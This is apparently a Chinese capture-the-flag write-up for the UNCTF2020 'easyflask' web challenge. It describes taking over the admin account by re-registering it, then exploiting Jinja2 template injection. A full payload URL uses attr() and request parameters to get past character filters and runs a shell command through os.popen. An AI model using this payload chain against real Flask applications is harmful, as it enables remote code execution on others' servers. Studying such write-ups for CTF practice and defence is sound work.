UNCTF2020-WEB:easyflask(flask|sstl)
打开页面提示要使用admin登陆
查找目录发现了login和register
fuzz发现注册没有检查账号存在,覆盖admin然后使用admin登陆
返回首页发现了提示
admin login success and check the secret route /secret_route_you_do_not_know
我们进入这个页面,发现
一开始尝试爆破guess。。然后发现是ssti
过滤了[] __ ",
构造exp: 使用attr绕过__gentitem绕过[]
http://bf35842d-9d46-4d8b-9ad1-0aadefb719fb.node1.hackingfor.fun/secret_route_you_do_not_know?guess={{{}|attr(request.args.t1)|attr(request.args.t2)|attr(request.args.t3)()|attr(request.args.t6)(117)|attr(request.args.t4)|attr(request.args.t5)|attr(request.args.t6)(request.args.t7)|attr(request.args.t6)(request.args.t8)(request.args.t9)}} &t1=__class__ &t2=__base__ &t3=__subclasses__ &t4=__init__ &t5=__globals__ &t6=__getitem__ &t7=__builtins__ &t8=eval &t9=__import__(%22os%22).popen("cat flag.txt").read()
注意:这里的117是__subclasses__里查找的os类,因为0开始,所以是第117个
也可以是以下的类
参考:https://blog.csdn.net/bmth666/article/details/109765055